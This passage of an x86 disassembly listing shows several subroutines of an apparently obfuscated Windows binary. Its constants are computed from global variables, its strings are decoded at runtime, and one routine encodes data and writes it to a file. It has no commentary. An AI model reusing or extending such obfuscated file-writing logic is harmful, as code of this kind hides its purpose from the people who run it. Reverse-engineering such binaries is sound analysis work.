sub_43CE88	proc near		; DATA XREF: .data:0054F2C0o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		mov	eax, dword_54F1DC
		add	eax, 2
		add	eax, dword_54F1C8
		cmp	ds:dword_4495D0, eax
		jnb	short loc_43CEBC
		mov	eax, dword_54F1B4
		sub	eax, 4
		mov	ds:dword_4495D0, eax


loc_43CEBC:				; CODE XREF: sub_43CE88+25j
		mov	eax, dword_54F1C0
		mov	edi, eax
		add	edi, dword_54F0E8
		sub	edi, 2
		jmp	short loc_43CEDA
; ---------------------------------------------------------------------------


loc_43CECE:				; CODE XREF: sub_43CE88+64j
		lea	ebx, ds:4480E0h[edi*4]
		cmp	esi, ebx
		jz	short loc_43CEEE
		inc	edi


loc_43CEDA:				; CODE XREF: sub_43CE88+44j
		mov	eax, dword_54F1D4
		add	eax, 3DDh
		add	eax, dword_54F158
		cmp	edi, eax
		jb	short loc_43CECE


loc_43CEEE:				; CODE XREF: sub_43CE88+4Fj
		movsx	eax, word_54F138
		movsx	edx, word_54F164
		lea	eax, [eax+edx+3E4h]
		cmp	edi, eax
		jnz	short loc_43CF0E
		xor	eax, eax
		jmp	loc_43D089
; ---------------------------------------------------------------------------


loc_43CF0E:				; CODE XREF: sub_43CE88+7Dj
		movzx	esi, ds:word_489A10[edi*2]
		mov	ebx, dword_54F214
		add	ebx, dword_54F0E4
		sub	ebx, 7
		cmp	esi, ebx
		jnz	short loc_43CF5F
		movzx	eax, ds:byte_4491B0[edi]
		push	eax
		push	ds:dword_447020[edi*4]
		call	sub_43EF1C
		add	esp, 8
		movsx	esi, word_54F1F0
		add	esi, dword_54F0D8
		sub	esi, 0Ch
		mov	ds:dword_4480E0[edi*4],	esi
		xor	eax, eax
		jmp	loc_43D089
; ---------------------------------------------------------------------------


loc_43CF5F:				; CODE XREF: sub_43CE88+9Fj
		movzx	esi, ds:word_489A10[edi*2]
		mov	ebx, dword_54F1D0
		add	ebx, 0FFF4h
		add	ebx, dword_54F1B4
		cmp	esi, ebx
		jnz	loc_43D06A
		mov	eax, dword_54F0E8
		movsx	edx, word_54F0CC
		add	eax, edx
		sub	eax, 2
		mov	[ebp+var_4], eax
		jmp	loc_43D053
; ---------------------------------------------------------------------------


loc_43CF9A:				; CODE XREF: sub_43CE88+1D8j
		mov	esi, [ebp+var_4]
		mov	ebx, esi
		shl	ebx, 2
		mov	edx, dword_54F1D8
		add	edx, dword_54F1D4
		sub	edx, 0Ch
		cmp	ds:dword_4480E0[ebx], edx
		jz	loc_43D050
		movzx	edx, ds:word_489A10[esi*2]
		mov	ecx, dword_54F110
		add	ecx, 0FFF6h
		movsx	eax, word_54F218
		add	ecx, eax
		cmp	edx, ecx
		jz	short loc_43D050
		mov	edx, ds:dword_447020[edi*4]
		cmp	ds:dword_447020[ebx], edx
		jnz	short loc_43D050
		mov	bl, ds:byte_4491B0[esi]
		cmp	bl, ds:byte_4491B0[edi]
		jnz	short loc_43D050
		movzx	esi, ds:word_489A10[esi*2]
		mov	ebx, dword_54F184
		sub	ebx, 3
		cmp	esi, ebx
		jnz	short loc_43D041
		mov	esi, [ebp+var_4]
		movzx	ebx, ds:byte_4491B0[esi]
		push	ebx
		push	ds:dword_447020[esi*4]
		call	sub_43EF1C
		add	esp, 8
		mov	esi, dword_54F234
		sub	esi, 8
		mov	ds:dword_4480E0[edi*4],	esi
		jmp	short loc_43D066
; ---------------------------------------------------------------------------


loc_43D041:				; CODE XREF: sub_43CE88+18Aj
		mov	esi, [ebp+var_4]
		lea	esi, ds:489A10h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_43D066
; ---------------------------------------------------------------------------


loc_43D050:				; CODE XREF: sub_43CE88+130j
					; sub_43CE88+155j ...
		inc	[ebp+var_4]


loc_43D053:				; CODE XREF: sub_43CE88+10Dj
		mov	eax, dword_54F170
		add	eax, 3E4h
		cmp	[ebp+var_4], eax
		jb	loc_43CF9A


loc_43D066:				; CODE XREF: sub_43CE88+1B7j
					; sub_43CE88+1C6j
		xor	eax, eax
		jmp	short loc_43D089
; ---------------------------------------------------------------------------


loc_43D06A:				; CODE XREF: sub_43CE88+F3j
		movzx	esi, ds:word_489A10[edi*2]
		mov	ebx, dword_54F248
		sub	ebx, 3
		cmp	esi, ebx
		jle	short loc_43D087
		dec	ds:word_489A10[edi*2]


loc_43D087:				; CODE XREF: sub_43CE88+1F5j
		xor	eax, eax


loc_43D089:				; CODE XREF: sub_43CE88+81j
					; sub_43CE88+D2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43CE88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D090	proc near		; CODE XREF: sub_43C284+26p
					; sub_441843+230p ...

var_120A	= byte ptr -120Ah
var_110B	= byte ptr -110Bh
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFF		= byte ptr -0FFFh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 120Ch
		call	sub_4455B4
		push	ebx
		push	esi
		push	edi
		push	offset byte_54FEF3
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_FFF]
		push	edi
		call	ds:dword_50C928
		add	esp, 0Ch
		mov	eax, dword_54F154
		mov	esi, eax
		add	esi, dword_54F1E0
		sub	esi, 0Ch
		jmp	short loc_43D0ED
; ---------------------------------------------------------------------------


loc_43D0CD:				; CODE XREF: sub_43D090+63j
		cmp	[ebp+esi+var_FFF], 23h
		jnz	short loc_43D0EC
		mov	eax, dword_54F188
		add	eax, dword_54F12C
		sub	eax, 0Dh
		mov	[ebp+esi+var_FFF], al


loc_43D0EC:				; CODE XREF: sub_43D090+45j
		inc	esi


loc_43D0ED:				; CODE XREF: sub_43D090+3Bj
		cmp	esi, 0FFFh
		jb	short loc_43D0CD
		movsx	eax, word_54F244
		mov	ebx, eax
		add	ebx, dword_54F12C
		sub	ebx, 0Fh
		mov	eax, dword_54F1F8
		movsx	edx, word_54F1A4
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_1004],	eax
		mov	eax, dword_54F200
		sub	eax, 5
		cmp	[ebp+arg_0], eax
		jnz	short loc_43D18A


loc_43D12B:				; CODE XREF: sub_43D090+F8j
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_1004],	eax
		jnz	short loc_43D14D
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		push	offset dword_54C970
		call	sub_4455D4
		jmp	loc_43D3E5
; ---------------------------------------------------------------------------


loc_43D14D:				; CODE XREF: sub_43D090+A4j
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43D157:				; CODE XREF: sub_43D090+CCj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D157
		add	ebx, eax
		add	ebx, 1
		inc	[ebp+var_1004]
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_54F20C
		add	edx, dword_54F1D8
		sub	edx, 8
		cmp	eax, edx
		jz	loc_43D3E5
		jmp	short loc_43D12B
; ---------------------------------------------------------------------------


loc_43D18A:				; CODE XREF: sub_43D090+99j
		movsx	eax, word_54F244
		mov	ebx, eax
		add	ebx, dword_54F15C
		sub	ebx, 0Bh
		mov	eax, dword_54F2A0
		mov	[ebp+var_1008],	eax
		movsx	eax, word_54F194
		dec	eax
		mov	edx, [ebp+arg_0]
		movsx	ecx, word_54F094
		sub	ecx, 2
		mov	[edx+eax], cl
		mov	eax, dword_54F1B8
		movsx	edx, word_54F128
		add	eax, edx
		sub	eax, 9
		mov	[ebp+var_1004],	eax


loc_43D1D6:				; CODE XREF: sub_43D090+32Dj
		call	ds:dword_54E040
		mov	ecx, 14h
		cdq
		idiv	ecx
		mov	[ebp+var_100C],	edx
		push	offset dword_54FEE8
		call	sub_43AAF7
		push	eax
		lea	edi, [ebp+var_110B]
		push	edi
		call	sub_4455D4
		lea	eax, [ebp+ebx+var_FFF]
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		call	ds:dword_44602C
		add	esp, 0Ch
		mov	eax, dword_54F23C
		add	eax, 2
		cmp	[ebp+var_100C],	eax
		jnb	loc_43D30B
		push	[ebp+var_1008]
		lea	eax, [ebp+var_120A]
		push	eax
		call	sub_443E8D
		movsx	eax, word_54F144
		sub	eax, 3
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_43DE22
		add	esp, 14h
		mov	edi, dword_54F1D0
		add	edi, 0FFF4h
		add	edi, dword_54F21C
		cmp	eax, edi
		jnz	short loc_43D299
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		push	offset byte_54FEE3
		call	sub_43AAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		add	esp, 14h


loc_43D299:				; CODE XREF: sub_43D090+1E0j
		mov	eax, dword_54F17C
		sub	eax, 6
		push	eax
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	sub_43DE22
		add	esp, 0Ch
		mov	edi, dword_54F18C
		add	edi, 0FFFEh
		add	edi, dword_54F23C
		cmp	eax, edi
		jnz	short loc_43D305
		push	offset dword_54FED8
		call	sub_43AAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		lea	eax, [ebp+var_120A]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		push	offset byte_54FED3
		call	sub_43AAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		add	esp, 20h


loc_43D305:				; CODE XREF: sub_43D090+238j
		inc	[ebp+var_1008]


loc_43D30B:				; CODE XREF: sub_43D090+197j
		push	[ebp+var_1004]
		call	sub_43D7FF
		pop	ecx
		mov	[ebp+var_100C],	eax
		movsx	ecx, word_54F128
		add	ecx, dword_54F184
		sub	ecx, 7
		cmp	eax, ecx
		jnb	short loc_43D385
		movsx	eax, word_54F0D0
		sub	eax, 5
		push	eax
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	sub_43DE22
		add	esp, 0Ch
		mov	edi, dword_54F0DC
		add	edi, 0FFFBh
		cmp	eax, edi
		jnz	short loc_43D385
		lea	eax, [ebp+var_110B]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		push	offset word_54FECE
		call	sub_43AAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		add	esp, 14h


loc_43D385:				; CODE XREF: sub_43D090+29Fj
					; sub_43D090+2CCj
		lea	ecx, [ebp+ebx+var_FFF]
		or	eax, 0FFFFFFFFh


loc_43D38F:				; CODE XREF: sub_43D090+304j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D38F
		add	ebx, eax
		inc	[ebp+var_1004]
		add	ebx, 1
		movsx	eax, [ebp+ebx+var_FFF]
		mov	edx, dword_54F11C
		movsx	ecx, word_54F240
		add	edx, ecx
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	loc_43D1D6
		push	offset byte_54FEC9
		call	sub_43AAF7
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_44602C
		add	esp, 0Ch
		mov	eax, [ebp+var_1008]
		mov	dword_54F2A0, eax


loc_43D3E5:				; CODE XREF: sub_43D090+B8j
					; sub_43D090+F2j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D090	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D3EA	proc near		; CODE XREF: sub_43B370+2Bp
					; sub_43BA46+2Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	esi, [esp+0Ch+arg_0]
		mov	edi, [esp+0Ch+arg_4]
		mov	ecx, edi
		mov	ebx, esi
		shl	ebx, cl
		mov	edx, dword_54F174
		add	edx, 11h
		add	edx, dword_54F108
		mov	ecx, edx
		sub	ecx, edi
		mov	eax, esi
		shr	eax, cl
		or	ebx, eax
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43D3EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D41A	proc near		; DATA XREF: sub_4404CE+1Do
					; sub_441843+48o ...

var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 124h
		push	ebx
		push	esi
		push	edi
		push	61A80h
		push	40h
		call	ds:dword_4899EC
		mov	ebx, eax
		push	493E0h
		push	40h
		call	ds:dword_4899EC
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		add	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_4455D4
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_43D45C:				; CODE XREF: sub_43D41A+47j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D45C
		mov	[ebp+var_8], eax
		mov	edi, dword_54F1D0
		sub	edi, 7
		jmp	short loc_43D4AC
; ---------------------------------------------------------------------------


loc_43D471:				; CODE XREF: sub_43D41A+95j
		mov	eax, edi
		add	eax, [ebp+var_4]
		mov	[ebp+var_118], eax
		movzx	edx, byte ptr [eax]
		mov	[ebp+var_120], edx
		mov	eax, edi
		mov	[ebp+var_11C], eax
		mul	edi
		mov	[ebp+var_124], eax
		mov	eax, [ebp+var_120]
		mov	edx, [ebp+var_124]
		add	eax, edx
		mov	edx, [ebp+var_118]
		mov	[edx], al
		inc	edi


loc_43D4AC:				; CODE XREF: sub_43D41A+55j
		cmp	edi, [ebp+var_8]
		jb	short loc_43D471
		movsx	eax, word_54F13C
		movsx	edx, word_54F148
		lea	eax, [eax+edx+61A76h]
		push	eax
		push	ebx
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_440E73
		add	esp, 10h
		mov	esi, dword_54F090
		sub	esi, 4
		jmp	short loc_43D4F6
; ---------------------------------------------------------------------------


loc_43D4E1:				; CODE XREF: sub_43D41A+EAj
		cmp	byte ptr [ebx+esi], 3Dh
		jnz	short loc_43D4EB
		mov	byte ptr [ebx+esi], 29h


loc_43D4EB:				; CODE XREF: sub_43D41A+CBj
		cmp	byte ptr [ebx+esi], 2Bh
		jnz	short loc_43D4F5
		mov	byte ptr [ebx+esi], 28h


loc_43D4F5:				; CODE XREF: sub_43D41A+D5j
		inc	esi


loc_43D4F6:				; CODE XREF: sub_43D41A+C5j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43D4FB:				; CODE XREF: sub_43D41A+E6j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D4FB
		cmp	esi, eax
		jb	short loc_43D4E1
		movsx	eax, word_54F198
		add	eax, dword_54F090
		sub	eax, 5
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43D530
		push	offset dword_4490A0
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4455D4


loc_43D530:				; CODE XREF: sub_43D41A+103j
		movsx	eax, word_54F1F0
		sub	eax, 6
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 44h
		jnz	short loc_43D554
		push	offset dword_4CA440
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4455D4


loc_43D554:				; CODE XREF: sub_43D41A+127j
		movsx	eax, word_54F240
		sub	eax, 8
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 50h
		jnz	short loc_43D599
		push	offset dword_4CB830
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_4455D4
		mov	eax, dword_54F228
		sub	eax, 7
		push	eax
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_43FBFD
		add	esp, 0Ch
		or	eax, eax
		jnz	loc_43D71B


loc_43D599:				; CODE XREF: sub_43D41A+14Bj
		mov	eax, dword_54F090
		add	eax, dword_54F0D4
		sub	eax, 9
		push	eax
		mov	eax, dword_54F0BC
		movsx	edx, word_54F118
		add	eax, edx
		sub	eax, 8
		push	eax
		push	4
		mov	eax, dword_54F22C
		sub	eax, 7
		push	eax
		movsx	eax, word_54F1F0
		sub	eax, 6
		push	eax
		push	40000000h
		lea	eax, [ebp+var_114]
		push	eax
		call	ds:dword_54DB18
		mov	[ebp+var_C], eax
		push	2
		mov	eax, dword_54F090
		sub	eax, 4
		push	eax
		movsx	eax, word_54F138
		movsx	edx, word_54F0D0
		add	eax, edx
		sub	eax, 9
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54DF30
		push	offset byte_54FEC1
		call	sub_43AAF7
		pop	ecx
		movsx	edx, word_54F218
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_54F24C
		movsx	ecx, word_54F13C
		add	edx, ecx
		sub	edx, 0Eh
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54DF1C
		mov	eax, dword_54F14C
		movsx	edx, word_54F1A8
		add	eax, edx
		sub	eax, 2
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 4Bh
		jnz	short loc_43D68D
		push	offset dword_54FEBC
		call	sub_43AAF7
		pop	ecx
		movsx	edx, word_54F148
		dec	edx
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_54F248
		add	edx, dword_54F224
		sub	edx, 4
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54DF1C


loc_43D68D:				; CODE XREF: sub_43D41A+23Fj
		mov	eax, dword_54F110
		sub	eax, 9
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 50h
		jnz	short loc_43D6DA
		push	offset byte_54FEB7
		call	sub_43AAF7
		pop	ecx
		mov	edx, dword_54F1C0
		movsx	ecx, word_54F0FC
		add	edx, ecx
		sub	edx, 3
		push	edx
		lea	edx, [ebp+var_10]
		push	edx
		mov	edx, dword_54F0E8
		movsx	ecx, word_54F104
		add	edx, ecx
		push	edx
		push	eax
		push	[ebp+var_C]
		call	ds:dword_54DF1C


loc_43D6DA:				; CODE XREF: sub_43D41A+282j
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_43D6DF:				; CODE XREF: sub_43D41A+2CAj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43D6DF
		mov	ecx, dword_54F154
		add	ecx, dword_54F204
		sub	ecx, 0Ah
		push	ecx
		lea	ecx, [ebp+var_10]
		push	ecx
		mov	ecx, dword_54F1F8
		sub	ecx, 2
		mov	edx, eax
		add	edx, ecx
		push	edx
		push	ebx
		push	[ebp+var_C]
		call	ds:dword_54DF1C
		push	[ebp+var_C]
		call	ds:dword_4CB948


loc_43D71B:				; CODE XREF: sub_43D41A+179j
		push	[ebp+var_4]
		call	ds:dword_4495CC
		push	ebx
		call	ds:dword_4495CC
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D41A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D730	proc near		; CODE XREF: sub_43C7A3+Bp
					; sub_43C7A3+20p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	[ebp+arg_0]
		push	dword_54F254
		call	ds:dword_4491AC
		mov	edi, eax
		pop	edi
		pop	ebp
		retn
sub_43D730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D748	proc near		; CODE XREF: sub_43C652+10Ap
					; sub_441B74+182p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		movsx	eax, word_54F0B4
		movsx	edx, word_54F1A8
		mov	esi, eax
		add	esi, edx
		sub	esi, 5
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_550A08
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ebx, [eax]
		call	dword ptr ds:0[ebx]
		mov	edi, eax
		mov	eax, dword_54F114
		add	eax, dword_54F1D8
		sub	eax, 5
		cmp	edi, eax
		jz	short loc_43D793
		xor	eax, eax
		jmp	short loc_43D7FA
; ---------------------------------------------------------------------------


loc_43D793:				; CODE XREF: sub_43D748+45j
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+10h]
		mov	edi, eax
		mov	eax, dword_54F090
		add	eax, dword_54F108
		sub	eax, 0Ch
		cmp	edi, eax
		jnz	short loc_43D7EF
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+14h]
		mov	edi, eax
		mov	eax, dword_54F224
		movsx	edx, word_54F094
		add	eax, edx
		sub	eax, 3
		cmp	edi, eax
		jnz	short loc_43D7E6
		mov	esi, dword_54F0F0
		sub	esi, 2


loc_43D7E6:				; CODE XREF: sub_43D748+93j
		mov	eax, [ebp+var_8]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]


loc_43D7EF:				; CODE XREF: sub_43D748+6Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+8]
		mov	eax, esi


loc_43D7FA:				; CODE XREF: sub_43D748+49j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D748	endp


; =============== S U B	R O U T	I N E =======================================



sub_43D7FF	proc near		; CODE XREF: sub_43D090+281p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		movsx	eax, word_54F0A8
		add	eax, dword_54F0A4
		cmp	ecx, eax
		jge	short loc_43D84C
		movsx	eax, word_54F0A8
		add	eax, dword_54F154
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_54F0D8
		sub	eax, 5
		mov	edx, esi
		add	edx, eax
		mov	eax, dword_54F0A0
		add	eax, dword_54F11C
		dec	eax
		imul	edx, eax
		sub	ecx, edx
		jmp	loc_43D98A
; ---------------------------------------------------------------------------


loc_43D84C:				; CODE XREF: sub_43D7FF+16j
		dec	ecx
		movsx	eax, word_54F210
		add	eax, 0Fh
		cmp	ecx, eax
		jge	short loc_43D87C
		mov	eax, dword_54F234
		sub	eax, 6
		imul	ecx, eax
		mov	eax, ecx
		sub	eax, esi
		mov	edx, dword_54F1AC
		add	edx, 0Bh
		mov	ecx, eax
		sub	ecx, edx
		jmp	loc_43D98A
; ---------------------------------------------------------------------------


loc_43D87C:				; CODE XREF: sub_43D7FF+5Aj
		dec	ecx
		movsx	eax, word_54F1F0
		mov	edx, dword_54F1C8
		lea	eax, [eax+edx+14h]
		cmp	ecx, eax
		jge	short loc_43D8BA
		movsx	eax, word_54F194
		add	eax, dword_54F1F4
		sub	eax, 7
		imul	ecx, eax
		mov	eax, dword_54F238
		add	eax, 3Ah
		add	eax, dword_54F1A0
		sub	ecx, eax
		jmp	loc_43D98A
; ---------------------------------------------------------------------------


loc_43D8BA:				; CODE XREF: sub_43D7FF+91j
		dec	ecx
		mov	eax, dword_54F10C
		add	eax, 22h
		cmp	ecx, eax
		jge	short loc_43D8E9
		movsx	eax, word_54F208
		add	eax, dword_54F150
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_54F188
		add	eax, 41h
		sub	ecx, eax
		jmp	loc_43D98A
; ---------------------------------------------------------------------------


loc_43D8E9:				; CODE XREF: sub_43D7FF+C6j
		dec	ecx
		mov	eax, dword_54F180
		add	eax, 2Bh
		movsx	edx, word_54F194
		add	eax, edx
		cmp	ecx, eax
		jge	short loc_43D918
		movsx	eax, word_54F1CC
		sub	eax, 7
		imul	ecx, eax
		mov	eax, dword_54F158
		add	eax, 51h
		sub	ecx, eax
		jmp	short loc_43D98A
; ---------------------------------------------------------------------------


loc_43D918:				; CODE XREF: sub_43D7FF+FEj
		dec	ecx
		movsx	eax, word_54F0F4
		mov	edx, dword_54F178
		lea	eax, [eax+edx+2Bh]
		cmp	ecx, eax
		jge	short loc_43D950
		movsx	eax, word_54F148
		movsx	edx, word_54F138
		add	eax, edx
		sub	eax, 2
		imul	ecx, eax
		mov	eax, dword_54F168
		add	eax, 68h
		sub	ecx, eax
		jmp	short loc_43D98A
; ---------------------------------------------------------------------------


loc_43D950:				; CODE XREF: sub_43D7FF+12Dj
		dec	ecx
		mov	eax, dword_54F170
		add	eax, 35h
		cmp	ecx, eax
		jge	short loc_43D980
		mov	eax, dword_54F130
		add	eax, dword_54F160
		sub	eax, 6
		imul	ecx, eax
		mov	eax, dword_54F1D0
		add	eax, 68h
		add	eax, dword_54F130
		sub	ecx, eax
		jmp	short loc_43D98A
; ---------------------------------------------------------------------------


loc_43D980:				; CODE XREF: sub_43D7FF+15Cj
		mov	eax, dword_54F1EC
		add	eax, 36h
		sub	ecx, eax


loc_43D98A:				; CODE XREF: sub_43D7FF+48j
					; sub_43D7FF+78j ...
		mov	eax, ecx
		pop	esi
		retn
sub_43D7FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D98E	proc near		; CODE XREF: sub_440E73+54p
					; sub_440E73+CEp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		movzx	ebx, byte ptr [eax]
		movsx	eax, word_54F0D0
		mov	edx, dword_54F114
		lea	eax, [eax+edx+0F9h]
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+1]
		add	ebx, eax
		movsx	eax, word_54F208
		movsx	edx, word_54F0D0
		lea	eax, [eax+edx+0F9h]
		imul	ebx, eax
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax+2]
		add	ebx, eax
		mov	esi, dword_54F150
		sub	esi, 4
		jmp	short loc_43DA32
; ---------------------------------------------------------------------------


loc_43D9E7:				; CODE XREF: sub_43D98E+B3j
		mov	edi, dword_54F100
		sub	edi, 6
		sub	edi, esi
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], edx
		mov	edx, ebx
		and	edx, 8000003Fh
		jge	short loc_43DA07
		dec	edx
		or	edx, 0FFFFFFC0h
		inc	edx


loc_43DA07:				; CODE XREF: sub_43D98E+72j
		mov	dl, ds:byte_54DF40[edx]
		mov	ecx, [ebp+var_4]
		mov	[ecx+edi], dl
		mov	eax, ebx
		mov	edi, dword_54F15C
		add	edi, 37h
		movsx	edx, word_54F0F8
		mov	ecx, edi
		add	ecx, edx
		cdq
		idiv	ecx
		mov	ebx, eax
		add	esi, 1


loc_43DA32:				; CODE XREF: sub_43D98E+57j
		movsx	eax, word_54F0FC
		add	eax, dword_54F124
		cmp	esi, eax
		jl	short loc_43D9E7
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DA48	proc near		; CODE XREF: sub_4395D8+93p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_44122A
		or	eax, eax
		jz	short loc_43DA7E
		push	dword_54F288
		push	1
		push	edi
		call	ds:dword_54C968
		mov	[ebp+var_4], eax
		push	dword_54F288
		push	4
		push	edi
		call	ds:dword_54C968
		mov	[ebp+var_8], eax


loc_43DA7E:				; CODE XREF: sub_43DA48+10j
		pop	edi
		leave
		retn
sub_43DA48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DA81	proc near		; DATA XREF: .data:off_54F2A8o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		push	offset dword_550A98
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_43DAAD
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43DAFC
; ---------------------------------------------------------------------------


loc_43DAAD:				; CODE XREF: sub_43DA81+1Aj
		push	offset dword_550A18
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_43DACD
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43DAFC
; ---------------------------------------------------------------------------


loc_43DACD:				; CODE XREF: sub_43DA81+3Aj
		push	offset dword_5509F8
		push	esi
		call	ds:dword_50C93C
		or	eax, eax
		jz	short loc_43DAED
		mov	eax, [ebp+arg_0]
		mov	[edi], eax
		push	dword ptr [edi]
		mov	ebx, [eax]
		call	dword ptr [ebx+4]
		xor	eax, eax
		jmp	short loc_43DAFC
; ---------------------------------------------------------------------------


loc_43DAED:				; CODE XREF: sub_43DA81+5Aj
		mov	eax, dword_54F0AC
		sub	eax, 7
